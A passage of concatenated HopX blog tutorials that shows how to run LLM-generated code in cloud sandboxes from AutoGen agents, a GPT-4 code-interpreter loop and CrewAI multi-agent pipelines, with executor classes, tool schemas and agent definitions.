## Step 5: Tool-Using Agents
Create agents with specific tools backed by HopX:
```python
from autogen import register_function
from hopx import Sandbox
# Global sandbox for tools
tool_sandbox: Optional[Sandbox] = None
def get_tool_sandbox() -> Sandbox:
global tool_sandbox
if tool_sandbox is None:
tool_sandbox = Sandbox.create(template="code-interpreter", ttl=600)
return tool_sandbox
def run_data_analysis(code: str) -> str:
"""Run Python code for data analysis in a secure sandbox."""
sandbox = get_tool_sandbox()
result = sandbox.runCode(code, language="python", timeout=60)
if result.exitCode == 0:
return result.stdout or "Code executed successfully"
return f"Error: {result.stderr}"
def create_visualization(code: str) -> str:
"""Create a visualization and save it."""
sandbox = get_tool_sandbox()
# Ensure matplotlib backend is set
full_code = f"""
import matplotlib
matplotlib.use('Agg')
import matplotlib.pyplot as plt
{code}
plt.savefig('/app/chart.png', dpi=150, bbox_inches='tight')
plt.close()
print("Chart saved to /app/chart.png")
"""
result = sandbox.runCode(full_code, language="python", timeout=60)
if result.exitCode == 0:
return "Visualization created and saved to /app/chart.png"
return f"Error: {result.stderr}"
def install_package(package: str) -> str:
"""Install a Python package in the sandbox."""
sandbox = get_tool_sandbox()
result = sandbox.runCode(f"pip install {package}", language="bash", timeout=120)
if result.exitCode == 0:
return f"Successfully installed {package}"
return f"Failed to install {package}: {result.stderr}"
# Register tools with assistant
assistant_with_tools = AssistantAgent(
name="assistant",
llm_config=llm_config,
system_message="""You have access to tools for data analysis.
Available tools:
- run_data_analysis: Execute Python code for data analysis
- create_visualization: Create charts and plots
- install_package: Install additional Python packages
Use these tools to help the user with their analysis tasks."""
)
# Register the functions
register_function(
run_data_analysis,
caller=assistant_with_tools,
executor=user_proxy,
name="run_data_analysis",
description="Execute Python code for data analysis"
)
register_function(
create_visualization,
caller=assistant_with_tools,
executor=user_proxy,
name="create_visualization",
description="Create a visualization with matplotlib"
)
register_function(
install_package,
caller=assistant_with_tools,
executor=user_proxy,
name="install_package",
description="Install a Python package"
)
```
## Step 6: Sequential Agent Pipeline
Chain agents in a specific order:
```python
from autogen import initiate_chats
# Define the pipeline
executor = PersistentHopXExecutor()
# Data Engineer - Prepares data
data_engineer = AssistantAgent(
name="DataEngineer",
llm_config=llm_config,
system_message="You prepare and clean data. Write code to load, clean, and transform data."
)
# Data Scientist - Analyzes data
data_scientist = AssistantAgent(
name="DataScientist",
llm_config=llm_config,
system_message="You perform statistical analysis and modeling. Build on the prepared data."
)
# Report Writer - Creates reports
report_writer = AssistantAgent(
name="ReportWriter",
llm_config=llm_config,
system_message="You create clear, concise reports from analysis results."
)
user_proxy = UserProxyAgent(
name="User",
human_input_mode="NEVER",
code_execution_config={"executor": executor}
)
# Define chat sequence
chat_sequence = [
{
"sender": user_proxy,
"recipient": data_engineer,
"message": "Create a sample sales dataset with 1000 rows",
"summary_method": "last_msg"
},
{
"sender": user_proxy,
"recipient": data_scientist,
"message": "Analyze the data created by the data engineer",
"summary_method": "last_msg"
},
{
"sender": user_proxy,
"recipient": report_writer,
"message": "Write a summary report based on the analysis",
"summary_method": "last_msg"
}
]
# Execute pipeline
results = initiate_chats(chat_sequence)
# Print final report
print("\n=== Final Report ===")
print(results[-1].summary)
executor.reset()
```
## Error Handling and Recovery
Build robust agents that handle failures:
```python
class RobustHopXExecutor(CodeExecutor):
"""Executor with retry logic and error recovery."""
def __init__(self, max_retries: int = 3):
self.max_retries = max_retries
self._sandbox: Optional[Sandbox] = None
def _create_sandbox(self) -> Sandbox:
return Sandbox.create(template="code-interpreter", ttl=300)
@property
def sandbox(self) -> Sandbox:
if self._sandbox is None:
self._sandbox = self._create_sandbox()
return self._sandbox
def execute_code_blocks(self, code_blocks: List[CodeBlock]) -> CodeResult:
outputs = []
exit_code = 0
for block in code_blocks:
result = self._execute_with_retry(block)
outputs.append(result.output)
if result.exit_code != 0:
exit_code = result.exit_code
return CodeResult(exit_code=exit_code, output="\n\n".join(outputs))
def _execute_with_retry(self, block: CodeBlock) -> CodeResult:
"""Execute a single code block with retries."""
last_error = None
for attempt in range(self.max_retries):
try:
result = self.sandbox.runCode(
block.code,
language="python",
timeout=60
)
return CodeResult(
exit_code=result.exitCode,
output=result.stdout or result.stderr or ""
)
except Exception as e:
last_error = str(e)
# Reset sandbox on failure
self._sandbox = None
if attempt < self.max_retries - 1:
import time
time.sleep(1)
return CodeResult(
exit_code=1,
output=f"Failed after {self.max_retries} attempts: {last_error}"
)
def reset(self):
if self._sandbox:
try:
self._sandbox.kill()
except:
pass
self._sandbox = None
```
## Complete Working Example
Production-ready AutoGen with HopX:
```python
"""
AutoGen Multi-Agent System with HopX Code Execution
"""
import os
from typing import Optional, List
from autogen import AssistantAgent, UserProxyAgent, GroupChat, GroupChatManager
from autogen.coding import CodeExecutor, CodeBlock, CodeResult
from hopx import Sandbox
# Verify environment
assert os.environ.get("OPENAI_API_KEY"), "Set OPENAI_API_KEY"
assert os.environ.get("HOPX_API_KEY"), "Set HOPX_API_KEY"
class HopXExecutor(CodeExecutor):
"""Production-ready HopX executor for AutoGen."""
def __init__(self, timeout: int = 60, persist: bool = True):
self.timeout = timeout
self.persist = persist
self._sandbox: Optional[Sandbox] = None
@property
def sandbox(self) -> Sandbox:
if self._sandbox is None:
self._sandbox = Sandbox.create(
template="code-interpreter",
ttl=600 if self.persist else 60
)
return self._sandbox
def execute_code_blocks(self, code_blocks: List[CodeBlock]) -> CodeResult:
outputs = []
final_exit_code = 0
for block in code_blocks:
try:
lang = "bash" if block.language.lower() in ["bash", "sh", "shell"] else "python"
result = self.sandbox.runCode(block.code, language=lang, timeout=self.timeout)
output = result.stdout or ""
if result.stderr and result.exitCode != 0:
output += f"\n{result.stderr}"
outputs.append(output.strip())
if result.exitCode != 0:
final_exit_code = result.exitCode
except Exception as e:
outputs.append(f"Error: {e}")
final_exit_code = 1
self._sandbox = None # Reset on error
return CodeResult(exit_code=final_exit_code, output="\n---\n".join(outputs))
def reset(self):
if self._sandbox:
self._sandbox.kill()
self._sandbox = None
def create_analysis_team():
"""Create a multi-agent analysis team."""
llm_config = {
"config_list": [{"model": "gpt-4o", "api_key": os.environ["OPENAI_API_KEY"]}],
"temperature": 0
}
executor = HopXExecutor(persist=True)
# Agents
coder = AssistantAgent(
name="Coder",
llm_config=llm_config,
system_message="Expert Python coder. Write clear, efficient code."
)
analyst = AssistantAgent(
name="Analyst",
llm_config=llm_config,
system_message="Data analyst. Interpret results and provide insights."
)
user = UserProxyAgent(
name="User",
human_input_mode="NEVER",
code_execution_config={"executor": executor},
max_consecutive_auto_reply=5
)
# Group chat
group_chat = GroupChat(
agents=[user, coder, analyst],
messages=[],
max_round=12
)
manager = GroupChatManager(groupchat=group_chat, llm_config=llm_config)
return user, manager, executor
if __name__ == "__main__":
user, manager, executor = create_analysis_team()
try:
user.initiate_chat(
manager,
message="""
Create a sales analysis:
1. Generate sample sales data (500 rows: date, product, region, amount)
2. Calculate total sales by product and region
3. Identify the top 3 products
4. Show monthly trends
Execute code and explain findings.
"""
)
finally:
executor.reset()
print("\n✅ Sandbox cleaned up")
```
## Best Practices
### 1. Always Clean Up
```python
try:
result = user_proxy.initiate_chat(assistant, message=task)
finally:
executor.reset()
```
### 2. Use Persistent Sandbox for Multi-Turn
```python
# For conversations that build on previous results
executor = HopXExecutor(persist=True) # 10 min TTL
```
### 3. Set Appropriate Timeouts
```python
executor = HopXExecutor(
timeout=120 # Longer for complex computations
)
```
### 4. Handle Large Outputs
```python
def execute_code_blocks(self, code_blocks):
# ... execution ...
output = result.stdout[:10000] # Truncate large outputs
```
## Conclusion
AutoGen + HopX gives you:
- **Faster execution**: 100ms vs 2-5s Docker cold starts
- **Better isolation**: MicroVM security vs container
- **Simpler setup**: No Docker daemon required
- **Auto cleanup**: Sandboxes destroyed automatically
Your multi-agent systems can collaborate and execute code safely, without the operational overhead of Docker.
---
Ready to upgrade your AutoGen agents? [Get started with HopX](https://console.hopx.ai) — sandboxes that spin up in 100ms.
## Further Reading
- [CrewAI Multi-Agent Pipelines](/blog/tutorials/crewai-multi-agent-pipelines-hopx) — CrewAI integration
- [LangChain Tools](/blog/tutorials/langchain-tools-secure-code-execution) — LangChain integration
- [AutoGen Documentation](https://microsoft.github.io/autogen/) — Official docs
- [Multi-Agent Architectures](/blog/deep-dives/multi-agent-architectures-with-hopx) — Deep dive
---
## Build a Code Interpreter Agent with OpenAI and HopX
URL: https://hopx.ai/blog/ai-agents/build-code-interpreter-openai-hopx/
Category: AI Agents
Published: 2025-11-26
# Build a Code Interpreter Agent with OpenAI and HopX
OpenAI's Code Interpreter is powerful but limited: you can't customize the environment, install arbitrary packages, or integrate it with your own data. Let's build our own version using GPT-4 and HopX.
By the end of this tutorial, you'll have an AI agent that:
- Writes Python code based on natural language requests
- Executes code in a secure, isolated sandbox
- Handles errors and iterates until success
- Returns results to the user
## Architecture Overview
```
┌─────────────────────────────────────────────────────────┐
│ User Request │
│ "Analyze this CSV and plot sales" │
└─────────────────────────────────────────────────────────┘
│
▼
┌─────────────────────────────────────────────────────────┐
│ OpenAI GPT-4 │
│ (with tool/function calling) │
└─────────────────────────────────────────────────────────┘
│
Generates code
│
▼
┌─────────────────────────────────────────────────────────┐
│ HopX Sandbox │
│ (isolated microVM execution) │
└─────────────────────────────────────────────────────────┘
│
Returns output
│
▼
┌─────────────────────────────────────────────────────────┐
│ Agent Decision │
│ Success? Return to user : Retry with fix │
└─────────────────────────────────────────────────────────┘
```
## Prerequisites
- Python 3.8+
- OpenAI API key
- HopX API key (get one at [console.hopx.ai](https://console.hopx.ai))
## Step 1: Set Up the Project
Create a new directory and install dependencies:
```bash
mkdir code-interpreter
cd code-interpreter
pip install openai hopx-ai
```
Set your API keys:
```bash
export OPENAI_API_KEY="sk-..."
export HOPX_API_KEY="..."
```
## Step 2: Define the Execute Code Tool
OpenAI's function calling feature lets GPT-4 request code execution. First, define the tool schema:
```python
# tools.py
EXECUTE_CODE_TOOL = {
"type": "function",
"function": {
"name": "execute_python",
"description": "Execute Python code in a secure sandbox. Use this to run calculations, process data, create visualizations, or test code. The sandbox has pandas, numpy, matplotlib, and other common libraries installed.",
"parameters": {
"type": "object",
"properties": {
"code": {
"type": "string",
"description": "The Python code to execute. Must be valid Python 3 code."
},
"description": {
"type": "string",
"description": "Brief description of what this code does"
}
},
"required": ["code", "description"]
}
}
}
TOOLS = [EXECUTE_CODE_TOOL]
```
## Step 3: Create the Sandbox Executor
This function handles code execution in HopX:
```python
# executor.py
from hopx_ai import Sandbox
from typing import Optional
import base64
class CodeExecutor:
def __init__(self, template: str = "code-interpreter"):
self.template = template
self.sandbox: Optional[Sandbox] = None
def __enter__(self):
# Create sandbox on entry
self.sandbox = Sandbox.create(template=self.template)
return self
def __exit__(self, *args):
# Clean up sandbox on exit
if self.sandbox:
self.sandbox.kill()
def execute(self, code: str) -> dict:
"""Execute code and return structured result."""
if not self.sandbox:
raise RuntimeError("Executor not initialized. Use 'with' statement.")
result = self.sandbox.run_code(code)
return {
"success": result.exit_code == 0,
"stdout": result.stdout,
"stderr": result.stderr,
"exit_code": result.exit_code
}
def upload_file(self, local_path: str, sandbox_path: str):
"""Upload a file to the sandbox."""
with open(local_path, 'rb') as f:
content = f.read()
self.sandbox.files.write(sandbox_path, content)
def download_file(self, sandbox_path: str) -> bytes:
"""Download a file from the sandbox."""
return self.sandbox.files.read(sandbox_path)
def list_files(self, path: str = "/app") -> list:
"""List files in sandbox directory."""
return self.sandbox.files.list(path)
```
## Step 4: Build the Agent Loop
The agent orchestrates between GPT-4 and the sandbox:
```python
# agent.py
from openai import OpenAI
from executor import CodeExecutor
from tools import TOOLS
import json
class CodeInterpreterAgent:
def __init__(self, model: str = "gpt-4-turbo-preview"):
self.client = OpenAI()
self.model = model
self.max_iterations = 5
self.system_prompt = """You are a helpful coding assistant that can execute Python code.
When the user asks you to do something that requires computation, data analysis, or code execution:
1. Write Python code to accomplish the task
2. Use the execute_python tool to run it
3. Analyze the output and provide a clear response
You have access to a sandbox with these pre-installed libraries:
- pandas, numpy, scipy (data analysis)
- matplotlib, seaborn, plotly (visualization)
- scikit-learn (machine learning)
- requests (HTTP)
- Standard library (json, csv, datetime, etc.)
Guidelines:
- Always show your work by executing code
- Handle errors gracefully and retry with fixes
- For visualizations, save to /app/output.png and mention it
- Be concise but thorough in explanations"""
def run(self, user_message: str, executor: CodeExecutor) -> str:
"""Run the agent loop."""
messages = [
{"role": "system", "content": self.system_prompt},
{"role": "user", "content": user_message}
]
for iteration in range(self.max_iterations):
# Call GPT-4
response = self.client.chat.completions.create(
model=self.model,
messages=messages,
tools=TOOLS,
tool_choice="auto"
)
assistant_message = response.choices[0].message
messages.append(assistant_message)
# Check if GPT-4 wants to execute code
if assistant_message.tool_calls:
for tool_call in assistant_message.tool_calls:
if tool_call.function.name == "execute_python":
# Parse the code
args = json.loads(tool_call.function.arguments)
code = args["code"]
description = args.get("description", "Executing code")
print(f"\n🔧 Executing: {description}")
print(f"```python\n{code}\n```")
# Execute in sandbox
result = executor.execute(code)
# Format result for GPT-4
if result["success"]:
tool_result = f"✅ Code executed successfully.\n\nOutput:\n{result['stdout']}"
else:
tool_result = f"❌ Code failed with exit code {result['exit_code']}.\n\nError:\n{result['stderr']}\n\nStdout:\n{result['stdout']}"
print(f"\n📤 Result: {tool_result[:200]}...")
# Add tool result to messages
messages.append({
"role": "tool",
"tool_call_id": tool_call.id,
"content": tool_result
})
else:
# No tool calls - GPT-4 is done
return assistant_message.content
return "Max iterations reached. Please try a simpler request."
def main():
"""Example usage."""
agent = CodeInterpreterAgent()
with CodeExecutor() as executor:
# Example 1: Simple calculation
print("\n" + "="*60)
print("Example 1: Fibonacci sequence")
print("="*60)
result = agent.run(
"Calculate the first 20 Fibonacci numbers and find their sum",
executor
)
print(f"\n🤖 Agent: {result}")
# Example 2: Data analysis
print("\n" + "="*60)
print("Example 2: Data analysis")
print("="*60)
result = agent.run(
"Create a sample dataset of 100 sales records with date, product, and amount columns. Then show me basic statistics and the top 5 products by total sales.",
executor
)
print(f"\n🤖 Agent: {result}")
if __name__ == "__main__":
main()
```
## Step 5: Run the Agent
```bash
python agent.py
```
Example output:
```
============================================================
Example 1: Fibonacci sequence
============================================================
🔧 Executing: Calculate Fibonacci numbers and sum
```python
def fibonacci(n):
fib = [0, 1]
for i in range(2, n):
fib.append(fib[i-1] + fib[i-2])
return fib
fibs = fibonacci(20)
print(f"First 20 Fibonacci numbers: {fibs}")
print(f"Sum: {sum(fibs)}")
```
📤 Result: ✅ Code executed successfully.
Output:
First 20 Fibonacci numbers: [0, 1, 1, 2, 3, 5, 8, 13, 21, 34, 55, 89, 144, 233, 377, 610, 987, 1597, 2584, 4181]
Sum: 10945
🤖 Agent: The first 20 Fibonacci numbers are [0, 1, 1, 2, 3, 5, 8, 13, 21, 34, 55, 89, 144, 233, 377, 610, 987, 1597, 2584, 4181] and their sum is **10,945**.
```
## Step 6: Add File Upload Support
Let users upload files for analysis:
```python
# agent_with_files.py
def analyze_csv(file_path: str, question: str):
"""Upload a CSV and ask questions about it."""
agent = CodeInterpreterAgent()
with CodeExecutor() as executor:
# Upload the file to sandbox
executor.upload_file(file_path, "/app/data.csv")
# Modify the prompt to mention the file
prompt = f"""I've uploaded a CSV file to /app/data.csv.
Please analyze it and answer this question:
{question}
Start by loading the file and showing its structure."""
result = agent.run(prompt, executor)
return result
# Usage
result = analyze_csv(
"sales_data.csv",
"What were the top 3 performing months?"
)
print(result)
```
## Step 7: Handle Visualizations
For charts and plots, save to a file and download:
```python
# visualization.py
def create_visualization(data_description: str, chart_request: str):
"""Create a visualization and return the image."""
agent = CodeInterpreterAgent()
prompt = f"""Create the following visualization:
{chart_request}
Data: {data_description}
Save the chart to /app/chart.png using plt.savefig('/app/chart.png', dpi=150, bbox_inches='tight')"""
with CodeExecutor() as executor:
result = agent.run(prompt, executor)
# Download the generated chart
try:
image_data = executor.download_file("/app/chart.png")
# Save locally
with open("output_chart.png", "wb") as f:
f.write(image_data)
print("Chart saved to output_chart.png")
except Exception as e:
print(f"Could not download chart: {e}")
return result
# Usage
create_visualization(
"Monthly sales data for 2024",
"A bar chart showing sales by month with a trend line"
)
```
## Step 8: Error Recovery
The agent should handle errors and retry. Here's an enhanced version:
```python
# robust_agent.py
class RobustCodeInterpreterAgent(CodeInterpreterAgent):
def __init__(self, *args, **kwargs):
super().__init__(*args, **kwargs)
# Enhanced system prompt with error handling guidance
self.system_prompt += """
Error Handling:
- If code fails, analyze the error carefully
- Fix the issue and try again
- Common fixes: import missing libraries, fix syntax errors, handle edge cases
- After 2 failed attempts at the same approach, try a different method"""
def run(self, user_message: str, executor: CodeExecutor) -> str:
"""Run with enhanced error tracking."""
messages = [
{"role": "system", "content": self.system_prompt},
{"role": "user", "content": user_message}
]
error_count = 0
last_error = None
for iteration in range(self.max_iterations):
response = self.client.chat.completions.create(
model=self.model,
messages=messages,
tools=TOOLS,
tool_choice="auto"
)
assistant_message = response.choices[0].message
messages.append(assistant_message)
if assistant_message.tool_calls:
for tool_call in assistant_message.tool_calls:
if tool_call.function.name == "execute_python":
args = json.loads(tool_call.function.arguments)
code = args["code"]
result = executor.execute(code)
if result["success"]:
error_count = 0 # Reset on success
tool_result = f"✅ Success:\n{result['stdout']}"
else:
error_count += 1
last_error = result["stderr"]
if error_count >= 3:
tool_result = f"""❌ Failed ({error_count} attempts).
Error: {result['stderr']}
⚠️ You've had multiple failures. Please try a completely different approach or simplify the solution."""
else:
tool_result = f"""❌ Failed (attempt {error_count}):
{result['stderr']}
Please fix the error and try again."""
messages.append({
"role": "tool",
"tool_call_id": tool_call.id,
"content": tool_result
})
else:
return assistant_message.content
return f"Could not complete the task after {self.max_iterations} iterations. Last error: {last_error}"
```
## Complete Example: Data Analysis Agent
Here's a full working example:
```python
# complete_agent.py
from openai import OpenAI
from hopx_ai import Sandbox
import json
# Tool definition
TOOLS = [{
"type": "function",
"function": {
"name": "execute_python",
"description": "Execute Python code in a secure sandbox with pandas, numpy, matplotlib",
"parameters": {
"type": "object",
"properties": {
"code": {"type": "string", "description": "Python code to execute"}
},
"required": ["code"]
}
}
}]
def run_code_interpreter(user_request: str) -> str:
"""Complete code interpreter agent."""
client = OpenAI()
messages = [
{"role": "system", "content": "You are a Python coding assistant. Execute code to answer questions."},
{"role": "user", "content": user_request}
]
with Sandbox.create(template="code-interpreter") as sandbox:
for _ in range(5): # Max iterations
response = client.chat.completions.create(
model="gpt-4-turbo-preview",
messages=messages,
tools=TOOLS
)
msg = response.choices[0].message
messages.append(msg)
if not msg.tool_calls:
return msg.content
for tool_call in msg.tool_calls:
code = json.loads(tool_call.function.arguments)["code"]
result = sandbox.run_code(code)
output = result.stdout if result.exit_code == 0 else f"Error: {result.stderr}"
messages.append({
"role": "tool",
"tool_call_id": tool_call.id,
"content": output
})
return "Could not complete request."
# Example usage
if __name__ == "__main__":
result = run_code_interpreter(
"Generate 1000 random numbers, calculate their mean and standard deviation, "
"and create a histogram showing their distribution."
)
print(result)
```
## Common Questions
### Can I use Claude or other LLMs instead of GPT-4?
Yes! Any LLM with function/tool calling works. Anthropic Claude example:
```python
from anthropic import Anthropic
client = Anthropic()
response = client.messages.create(
model="claude-3-opus-20240229",
tools=[...], # Same tool schema
messages=[...]
)
```
### How do I handle long-running code?
For code that takes more than 60 seconds, use background execution:
```python
# Start long-running task
process_id = sandbox.run_code_background(long_running_code)
# Check status periodically
while True:
status = sandbox.get_process_status(process_id)
if status.completed:
break
time.sleep(5)
```
### Can I keep the sandbox between requests?
Yes, to reuse state (installed packages, created files):
```python
# Create once
sandbox = Sandbox.create(template="code-interpreter")
# Use for multiple requests
sandbox.run_code("pip install transformers")
sandbox.run_code("from transformers import pipeline; ...")
sandbox.run_code("# Uses same environment...")
# Clean up when done
sandbox.kill()
```
### How do I restrict what code can do?
HopX sandboxes are already isolated. For additional restrictions:
- Use network policies to limit outbound connections
- Set resource limits (CPU, memory, disk)
- Use custom templates with minimal packages
## Conclusion
You've built a Code Interpreter agent that:
- ✅ Uses GPT-4 for code generation
- ✅ Executes code in isolated HopX sandboxes
- ✅ Handles errors and iterates
- ✅ Supports file upload/download
- ✅ Creates visualizations
This architecture is production-ready. The sandbox isolation means even malicious or buggy LLM-generated code can't harm your infrastructure.
---
Ready to build your own? [Sign up for HopX](https://console.hopx.ai) and get $200 in free credits.
---
## CrewAI Multi-Agent Pipelines with Secure Code Execution
URL: https://hopx.ai/blog/tutorials/crewai-multi-agent-pipelines-hopx/
Category: Tutorials
Published: 2025-11-26
# CrewAI Multi-Agent Pipelines with Secure Code Execution
CrewAI makes building multi-agent systems surprisingly simple. Define agents with roles, give them tools, and let them collaborate. But when those agents need to execute code, you face a choice: run it unsafely on your host, or set up complex containerization.
HopX sandboxes give you a third option: instant, isolated execution that works seamlessly with CrewAI's tool system.
## What We're Building
A research crew that:
1. **Researcher Agent** - Gathers information and identifies analysis needs
2. **Data Analyst Agent** - Writes and executes Python code for analysis
3. **Report Writer Agent** - Synthesizes findings into a report
```
┌─────────────────────────────────────────────────────────────────┐
│ CrewAI Crew │
│ │
│ ┌──────────────┐ ┌──────────────┐ ┌──────────────┐ │
│ │ Researcher │───▶│ Data Analyst │───▶│Report Writer │ │
│ └──────────────┘ └──────────────┘ └──────────────┘ │
│ │ │ │ │
│ │ │ │ │
│ ▼ ▼ ▼ │
│ ┌─────────┐ ┌─────────┐ ┌─────────┐ │
│ │ Search │ │ HopX │ │ File │ │
│ │ Tool │ │Sandbox │ │ Tool │ │
│ └─────────┘ └─────────┘ └─────────┘ │
│ │ │
│ Isolated Code Execution │
└─────────────────────────────────────────────────────────────────┘
```
## Prerequisites
```bash
pip install crewai crewai-tools hopx-ai
```
Set environment variables:
```bash
export OPENAI_API_KEY="sk-..."
export HOPX_API_KEY="..."
```
## Step 1: Create Secure Code Execution Tools
First, build CrewAI-compatible tools that execute code in HopX:
```python
from crewai.tools import BaseTool
from hopx import Sandbox
from pydantic import BaseModel, Field
from typing import Type, Optional
class PythonCodeInput(BaseModel):
"""Input schema for Python execution."""
code: str = Field(description="Python code to execute")
class PythonExecutorTool(BaseTool):
"""Execute Python code in a secure HopX sandbox."""
name: str = "python_executor"
description: str = """Execute Python code in an isolated sandbox.
Use this tool to:
- Perform calculations and data analysis
- Process and transform data with pandas
- Create visualizations with matplotlib
- Run any Python computation
The sandbox has pandas, numpy, matplotlib, seaborn, scikit-learn installed.
Always print() results you want to see.
For charts, use plt.savefig('/app/chart.png') then mention the file.
"""
args_schema: Type[BaseModel] = PythonCodeInput
def _run(self, code: str) -> str:
"""Execute code in sandbox."""
sandbox = None
try:
sandbox = Sandbox.create(template="code-interpreter")
result = sandbox.runCode(code, language="python", timeout=60)
if result.exitCode == 0:
output = result.stdout or "Code executed successfully (no output)"
return f"✅ Success:\n{output}"
else:
return f"❌ Error:\n{result.stderr}"
except Exception as e:
return f"❌ Sandbox error: {str(e)}"
finally:
if sandbox:
sandbox.kill()
class BashCommandInput(BaseModel):
"""Input schema for bash commands."""
command: str = Field(description="Bash command to execute")
class BashExecutorTool(BaseTool):
"""Execute bash commands in a secure sandbox."""
name: str = "bash_executor"
description: str = """Execute bash/shell commands in an isolated sandbox.
Use for:
- File operations (ls, cat, head, tail)
- Installing packages (pip install)
- System commands
"""
args_schema: Type[BaseModel] = BashCommandInput
def _run(self, command: str) -> str:
sandbox = None
try:
sandbox = Sandbox.create(template="code-interpreter")
result = sandbox.runCode(command, language="bash", timeout=60)
if result.exitCode == 0:
return f"✅ Success:\n{result.stdout}"
else:
return f"❌ Error (exit {result.exitCode}):\n{result.stderr}"
except Exception as e:
return f"❌ Error: {str(e)}"
finally:
if sandbox:
sandbox.kill()
```
## Step 2: Create a Persistent Sandbox Tool
For multi-step analysis, agents need to share state. Create a tool with persistent sandbox:
```python
from crewai.tools import BaseTool
from hopx import Sandbox
from pydantic import BaseModel, Field
from typing import Type, Optional, ClassVar
import threading
class SharedSandboxManager:
"""Singleton manager for shared sandbox across agents."""
_instance: Optional['SharedSandboxManager'] = None
_lock: ClassVar[threading.Lock] = threading.Lock()
def __init__(self):
self.sandbox: Optional[Sandbox] = None
self.ttl = 600 # 10 minutes
@classmethod
def get_instance(cls) -> 'SharedSandboxManager':
if cls._instance is None:
with cls._lock:
if cls._instance is None:
cls._instance = cls()
return cls._instance
def get_sandbox(self) -> Sandbox:
if self.sandbox is None:
self.sandbox = Sandbox.create(
template="code-interpreter",
ttl=self.ttl
)
return self.sandbox
def cleanup(self):
if self.sandbox:
try:
self.sandbox.kill()
except:
pass
self.sandbox = None
class SharedPythonInput(BaseModel):
code: str = Field(description="Python code to execute")
class SharedPythonTool(BaseTool):
"""Execute Python with persistent state across agents."""
name: str = "shared_python"
description: str = """Execute Python code with PERSISTENT STATE.
Variables, imports, and data persist between calls.
Use this when you need to build on previous computations.
All agents share the same execution environment.
Example workflow:
1. First call: import pandas; df = pd.read_csv('data.csv')
2. Second call: df['new_col'] = df['a'] * 2 # df still exists!
3. Third call: print(df.describe()) # works!
"""
args_schema: Type[BaseModel] = SharedPythonInput
def _run(self, code: str) -> str:
manager = SharedSandboxManager.get_instance()
try:
sandbox = manager.get_sandbox()
result = sandbox.runCode(code, language="python", timeout=60)
if result.exitCode == 0:
return result.stdout or "Executed (no output)"
else:
return f"Error: {result.stderr}"
except Exception as e:
manager.cleanup()
return f"Sandbox error: {str(e)}"
```
## Step 3: Define Your Agents
Create specialized agents with their tools:
```python
from crewai import Agent, Task, Crew, Process
# Initialize tools
python_tool = PythonExecutorTool()
bash_tool = BashExecutorTool()
shared_python = SharedPythonTool()
# Research Agent - Gathers information
researcher = Agent(
role="Senior Research Analyst",
goal="Identify key data points and analysis requirements",
backstory="""You are an experienced research analyst who excels at
breaking down complex problems into specific, measurable questions.
You identify what data is needed and what analyses will provide insights.""",
tools=[], # Researcher doesn't need code execution
verbose=True,
allow_delegation=False
)
# Data Analyst Agent - Runs analysis
data_analyst = Agent(
role="Senior Data Analyst",
goal="Analyze data using Python to extract meaningful insights",
backstory="""You are a skilled data analyst proficient in Python, pandas,
and statistical analysis. You write clean, efficient code to analyze data
and create visualizations. You always verify your results.""",
tools=[shared_python, bash_tool],
verbose=True,
allow_delegation=False
)
# Report Writer Agent - Creates final report
report_writer = Agent(
role="Technical Report Writer",
goal="Create clear, actionable reports from analysis results",
backstory="""You excel at translating complex technical findings into
clear, well-structured reports. You highlight key insights and provide
actionable recommendations.""",
tools=[shared_python], # Can run code to format/verify data
verbose=True,
allow_delegation=False
)
```
## Step 4: Define Tasks
Create tasks that flow between agents:
```python
# Task 1: Research
research_task = Task(
description="""Analyze the requirements for understanding sales performance.
We have sales data with columns: date, product, region, quantity, revenue.
Identify:
1. Key metrics to calculate (totals, averages, trends)
2. Important comparisons (by product, by region, over time)
3. Specific questions the analysis should answer
Output a structured analysis plan.""",
expected_output="A detailed analysis plan with specific metrics and questions",
agent=researcher
)
# Task 2: Data Analysis
analysis_task = Task(
description="""Execute the analysis plan using Python.
First, create sample sales data that matches the description:
- 1000 rows of sales data
- Columns: date, product, region, quantity, revenue
- Date range: 2024-01-01 to 2024-12-31
- Products: ["Laptop", "Phone", "Tablet", "Watch", "Headphones"]
- Regions: ["North", "South", "East", "West"]
Then perform the analysis:
1. Calculate total revenue and quantity by product
2. Calculate average order value by region
3. Identify monthly trends
4. Find top performing product-region combinations
5. Calculate month-over-month growth rates
Use the shared_python tool to maintain state between code executions.
Print all results clearly with labels.""",
expected_output="Complete analysis results with all calculated metrics",
agent=data_analyst,
context=[research_task] # Depends on research
)
# Task 3: Report Writing
report_task = Task(
description="""Create a comprehensive report based on the analysis.
Structure:
1. Executive Summary (key findings in 3-4 bullet points)
2. Methodology (how data was analyzed)
3. Key Findings (detailed results with numbers)
4. Recommendations (3-5 actionable items)
5. Appendix (any additional details)
Use the shared_python tool if you need to access or verify any data.
Format the report in clean markdown.""",
expected_output="A well-structured markdown report with all sections",
agent=report_writer,
context=[analysis_task] # Depends on analysis
)
```
## Step 5: Run the Crew
Assemble and execute:
```python
# Create the crew
sales_analysis_crew = Crew(
agents=[researcher, data_analyst, report_writer],
tasks=[research_task, analysis_task, report_task],
process=Process.sequential, # Tasks run in order
verbose=True
)
# Run it!
if __name__ == "__main__":
try:
result = sales_analysis_crew.kickoff()
print("\n" + "="*60)
print("FINAL REPORT")
print("="*60)
print(result)
finally:
# Clean up sandbox
SharedSandboxManager.get_instance().cleanup()
```
## Advanced: Hierarchical Crew with Manager
For complex workflows, use a manager agent to coordinate:
```python
from crewai import Agent, Task, Crew, Process
# Manager Agent
manager = Agent(
role="Project Manager",
goal="Coordinate the team to deliver high-quality analysis",
backstory="""You are an experienced project manager who ensures
deliverables are on time and meet quality standards. You delegate
effectively and provide clear guidance.""",
allow_delegation=True,
verbose=True
)
# Specialist Agents
python_expert = Agent(
role="Python Developer",
goal="Write efficient, well-documented Python code",
backstory="Expert Python developer with 10 years of experience.",
tools=[shared_python, bash_tool],
verbose=True
)
data_scientist = Agent(
role="Data Scientist",
goal="Apply statistical methods and ML to extract insights",
backstory="PhD in Statistics with expertise in ML and data analysis.",
tools=[shared_python],
verbose=True
)
visualizer = Agent(
role="Data Visualization Expert",
goal="Create clear, impactful visualizations",
backstory="Expert in matplotlib, seaborn, and data storytelling.",
tools=[shared_python],
verbose=True
)
# Create hierarchical crew
hierarchical_crew = Crew(
agents=[python_expert, data_scientist, visualizer],
tasks=[...], # Define tasks
manager_agent=manager,
process=Process.hierarchical,
verbose=True
)
```
## Parallel Agent Execution
For independent tasks, run agents in parallel:
```python
from crewai import Crew, Process
import asyncio
# Define independent analysis tasks
north_analysis = Task(
description="Analyze North region sales data",
agent=data_analyst,
expected_output="North region analysis"
)
